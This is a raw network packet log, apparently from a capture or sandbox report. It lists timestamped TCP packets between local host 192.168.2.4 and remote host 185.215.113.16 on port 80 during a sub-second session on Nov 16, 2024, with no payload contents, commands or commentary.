Nov 16, 2024 20:12:38.747589111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.747595072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.747625113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.747638941 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.747674942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.747713089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.747746944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.747756958 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.747781038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.747788906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.756191015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756227016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756243944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.756261110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756294966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756306887 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.756441116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756474972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756488085 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.756527901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756573915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.756577015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756612062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756644011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756652117 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.756678104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756711960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756743908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.756772995 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.756782055 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.767427921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.793289900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793339968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793376923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793397903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.793431997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793467045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793499947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793510914 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.793534040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793549061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.793572903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793606043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793638945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793653011 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.793673992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793683052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.793713093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793751955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.793792009 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.818137884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.818175077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.818197966 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.818209887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.818311930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.853470087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853522062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853555918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853605032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.853610039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853653908 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.853665113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853727102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853769064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.853779078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853831053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853867054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853899956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853921890 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.853946924 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.853952885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.853986025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854018927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854052067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854068041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854101896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854118109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854168892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854201078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854224920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854235888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854290962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854305029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854335070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854356050 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854360104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854394913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854428053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854439974 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854477882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854531050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854564905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854584932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854594946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854619026 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854626894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854660034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854671001 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854692936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854727030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854742050 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854806900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854845047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854877949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854887009 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854912043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854919910 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.854943991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.854976892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855009079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855019093 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855041981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855057955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855074883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855107069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855139017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855149984 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855171919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855182886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855204105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855237007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855268955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855279922 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855302095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855310917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855355024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855387926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855420113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855434895 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855454922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855462074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855484009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855516911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855550051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855562925 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855583906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855595112 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855619907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855652094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855686903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855700016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855720043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855737925 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855753899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855787039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855803013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855819941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855865002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.855894089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855926991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855959892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.855993032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.856004000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.856029034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.856040955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.856071949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.856082916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.856107950 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.856116056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.856148958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.856156111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.856182098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.856215954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.856251955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.856260061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.856292963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.870405912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.870589972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.870623112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.870682955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.870754004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.870800018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.870820999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.870834112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.870867014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.870896101 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.870899916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.870929003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.870943069 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.879257917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.879293919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.879345894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.879355907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.879388094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.879756927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.879908085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.879954100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.879998922 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.880004883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.880039930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.880044937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.880075932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.880109072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.880142927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.880146027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.880176067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.880188942 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.880213022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.881176949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.905287981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.917272091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917309046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917342901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917356968 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.917377949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917423010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917424917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.917473078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917516947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917541027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.917550087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917582989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917594910 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.917650938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917702913 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.917763948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917795897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917840958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.917860985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.933049917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.942819118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.942852974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.942900896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.942900896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.942941904 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.973932981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.973984003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974030972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974072933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974159002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974204063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974211931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974256039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974288940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974323034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974374056 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974374056 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974406004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974467039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974512100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974517107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974553108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974586010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974606991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974636078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974668980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974694967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974723101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974767923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974781990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974802017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974845886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974863052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974895000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974927902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974960089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974987030 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.974992990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.974997044 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975027084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975059986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975081921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975109100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975152969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975163937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975234985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975269079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975286007 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975337029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975370884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975389957 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975419998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975477934 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975485086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975519896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975553989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975589037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975616932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975627899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975639105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975680113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975713015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975734949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975790977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975824118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975828886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975872040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975905895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975920916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.975955963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.975990057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976000071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976022959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976061106 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976063967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976113081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976145983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976177931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976178885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976227045 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976229906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976310968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976349115 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976356030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976392984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976429939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976463079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976488113 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976495028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976511955 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976566076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976599932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976633072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976635933 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976664066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976696014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976702929 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976731062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976748943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976778030 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976783991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976810932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976818085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976849079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976857901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976883888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976927996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976941109 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.976963997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.976995945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.977029085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.977037907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.977061987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.977088928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.977094889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.977132082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.977144957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.977159023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:38.977176905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:38.977180958 CET	49744	80	192.168.2.4	185.215.113.16
